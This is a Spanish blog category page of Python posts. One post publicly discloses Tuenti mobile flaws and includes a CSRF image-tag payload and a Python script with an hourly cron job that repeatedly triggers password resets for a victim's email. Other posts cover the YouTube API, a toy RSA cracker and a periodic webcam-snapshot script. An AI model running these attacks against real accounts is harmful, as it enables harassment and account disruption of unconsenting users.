Archivo de la categoría: Python

Pequeñas “vulnerabilidades” en tuenti móvil

Escribo este post para reportar públicamente un par de vulnerabilidades (probablemente haya más, no me he de tenido a examinar muy a fondo) de la versión móvil de tuenti. La primera de las vulnerabilidades es de un peligro mínimo y es hasta difícil de explotar, pero como no tengo nada que escribir, aquí la pongo. La segunda si que puede resultar un poco molesta si se explota de forma adecuada.

La primera de las vulnerabilidades consiste en que podemos hacer que el estado de la víctima se cambie por un estado vacío. Lo sé, es una tontería. Para proceder a “explotarla”  tenemos que hacer que la víctima abra una página (pasándole un enlace y que este lo clique) que contenga este código :

</pre>
<img src="http://m.tuenti.com/?m=profile&func=process_set_status" alt="" />
<pre>

teniendo este la sesión de tuenti móvil abierta.

Después de esto, otro “problema” de seguridad es que en la versión móvil, el formulario para mandar una nueva contraseña al correo no tiene un capchta, por lo que se puede automatizar perfectamente el proceso obligando a la víctima a que se le cambie la contraseña. Este proceso no puede ser continuo ya que tuenti tiene implementada una “medida de seguridad” que hace que solo se pueda hacer esto una vez cada hora. De cualquier manera esto es algo que puede ser bastante molesto.

Para demostrar esto último, he hecho un PoC en python que realiza esta tarea:

#!/usr/bin/python
#PoC para vulnerabilidad de tuenti
# @BraulioVM
import urllib, urllib2, sys

if len(sys.argv) != 2:
  print "Usage: python ",sys.argv[0],"  "
  exit()

urlPoc = "http://m.tuenti.com/?m=login&func=process_forgot_password"
correoVictima = sys.argv[1]
postData = urllib.urlencode({ 'tuentiemail' : correoVictima })
code = urllib2.urlopen(urlPoc, postData).read()

if "Lo sentimos" in code:
  print "Posiblemente hubo un error, intentelo mas tarde"
else :
  print "Si el correo era correcto, posiblemente se haya completado la tarea con exito"

Si queremos que se ejecute cada hora, en linux basta con que añadamos el siguiente script a la carpeta /etc/cron.hourly/

#!/bin/sh
python /ruta/hacia/el/poc.py emailquesea@email.com

Para comprobar si el servicio cron está corriendo hacemos:

/etc/init.d/crond status

Y si no está en marcha lo iniciamos con

/etc/init.d/crond start

Bueno, eso ha sido todo. Me imagino que gracias a los reportes, los ingenieros de tuenti arreglarán la segunda vulnerabilidad y quizás también la primera.

Saludos.

Anuncios

Usando la API de youtube en python

A la hora de programar aplicaciones, nos puede ser muy útil contar con algunas fuentes de datos interesantes. Entre esas fuentes de datos se encuentra youtube y en este artículo vamos a aprender a interactuar con youtube desde python.

Para eso, vamos a usar la API oficial que nos ofrece google conocida como gdata. Esta api es muy potente ya que no solo nos ofrece acceso a youtube, sino que nos ofrece acceso a la mayoría de servicios de google tales como picasa, google docs, google maps, google code… Puedes encontrar las apis que ofrece google aquí : http://code.google.com/more/

Instalación

Lo primero que tenemos que hacer, es instalar la API de gdata para python, que podemos encontrar aquí : http://code.google.com/p/gdata-python-client/downloads/list .

Para instalarlo en linux, tenemos que descargarnos alguna versión (yo usé la 2.0.14, pero supongo que no variará mucho según cual usemos), descomprimir el archivo en algún lugar y por último ejecutar el siguiente comando:

# ./setup.py install

Con privilegios de root. Una vez que esté instalado podemos empezar a programar.

Programación

Como ejemplo, vamos a hacer un programa que recoja algunos datos del usuario especificado por el usuario del programa. Para empezar, tenemos que crear una instancia de la clase YouTubeService de esta forma.

import gdata.youtube
import gdata.youtube.service

youtubeService = gdata.youtube.service.YouTubeService()

Una vez hemos obtenido ese objeto, podemos aclarar una cosa. En esta API, hay un elemento llamado feed, que representa un conjunto de vídeos. Existen diversas maneras de obtener feeds de vídeos, ya sean los más vistos, los vídeos de un usuario, una búsqueda… los vídeos son objetos de tipo video(increíble pero cierto) y de ellos es de donde se saca la información. Vamos a ver un ejemplo:

import gdata.youtube
import gdata.youtube.service

def informacionDeVideo(video): # Si se le suministra un objeto video mostrara por pantalla cierta informacion de este
 print "El nombre del video es: "+video.media.title.text
 print "Numero de reproducciones: ",video.statistics.view_count
 print "Etiquetas del video: "+video.media.keywords.text
 print

youtubeService = gdata.youtube.service.YouTubeService() # Se inicializa el objeto YouTubeService
feedDeVideos = youtubeService.GetMostViewedVideoFeed() # Se obtiene el feed de los videos mas vistos
for video in  feedDeVideos.entry: # Para cada video dentro del feed ...
  informacionDeVideo(video)

Si guardas el código y lo ejecutas, podréis comprobar que el vídeo más visto es el vídeo de la canción “Baby” de Justin Bieber con un porrón de visitas.

Ya hemos visto un poco de los objetos feed y video (o por lo menos sabemos que representan). Ahora vamos a ver como obtener información de los usuarios.

import gdata.youtube
import gdata.youtube.service
import sys

if len(sys.argv) != 2:
print "Lo estas usando mal, se usa : "
print "python ",sys.argv[0], " "
exit()
youtubeService = gdata.youtube.service.YouTubeService()

userEntry = youtubeService.GetYouTubeUserEntry(username=sys.argv[1]) # Se obtiene un objeto del tipo YouTubeUserEntry
print "Tiene ",userEntry.age.text, "anios" # Se saca la edad
print "Su canal tiene",userEntry.statistics.view_count," reproducciones " # Las reproducciones del canal
print "Tiene ",len(youtubeService.GetUserFavoritesFeed(sys.argv[1]).entry)," videos marcados como favoritos" # Con la funcion GetUserFavoritesFeed() se obtiene un feed de videos como el que hemos usado antes
# Por lo que se hace facil usar la opcion de favoritos

Ahí está el código final que ponemos aquí. Si hay cualquier duda podéis preguntar si queréis, y si queréis un documento más extenso y más preciso podéis ver la guía oficial (en inglés):
http://code.google.com/apis/youtube/1.0/developers_guide_python.html


Script para encontrar una clave privada de RSA

Como no tenía absolutamente nada que hacer y esta es una idea que tenía desde hace un tiempo, he decidido llevarla a cabo. El script está programado en python y el código viene con algunos comentarios que pueden ayudar a su entendimiento.

Obviamente, no he programado este script para encontrar las clave privadas que usa la gente, para esto se necesita unos computadores muy potentes y unos algoritmos muy eficientes. Este script está programado con la intención de enseñar como funcionaría el cracking de una clave privada en RSA.

Para usar el programa,  necesitas suministrar la clave pública, que si sabes un poco de RSA, sabrás que está compuesta por  dos números (la clave pública en sí, y luego el módulo). Se suministran como argumentos por la línea de comandos de esta forma:

./KeyCracker.py 56789 99400891

Y te averiguará la clave pública.

Si quieres el código, podrás encontrarlo aquí : http://pastebin.com/GaVzJqTP


Haciendo fotos con la webcam desde Python

Dejando a un lado los artículos de ingeniería inversa, voy a escribir hoy sobre programación. El tema de hoy es algo muy interesante que tiene un montón de aplicaciones prácticas y la mayoría de ellas muy interesantes. Vamos a sacar fotos con la webcam de nuestro equipo.

Como introducción, voy a decir que estoy trabajando desde Windows porque mi equipo con linux no tiene webcam. El módulo que vamos a usar no viene por defecto con python por lo que vamos a tener que descargarlo de una página externa .

Voy a usar este script de ejemplo:

import VideoCapture, sys

webcam = VideoCapture.Device()
webcam.setResolution(640,480)
webcam.saveSnapshot(sys.argv[1]+”.jpg”)
del webcam

No creo que necesite mucha explicación.

Si os sentís unos espías y queréis saber en todo momento quien está usando vuestro ordenador podéis usar este script que saca fotos cada 20 segundos y las guarda en la carpeta especificada.

import time, VideoCapture

carpetaEspecificada = “fotillos/”

myWebCam = VideoCapture.Device()
myWebCam.setResolution(640, 480)

numero = 0
while 1:
time.sleep(20)
myWebCam.saveSnapshot(carpetaEspecificada+str(numero)+”.jpg”)
numero += 1

Arreglándolo un poco se podría hacer que las fotos se subieran a imageshack o un sitio de estos, pero eso ya lo podéis hacer vosotros sin que yo me meta de por medio. Aquí finaliza esta corta entrada porque no tengo nada más que escribir.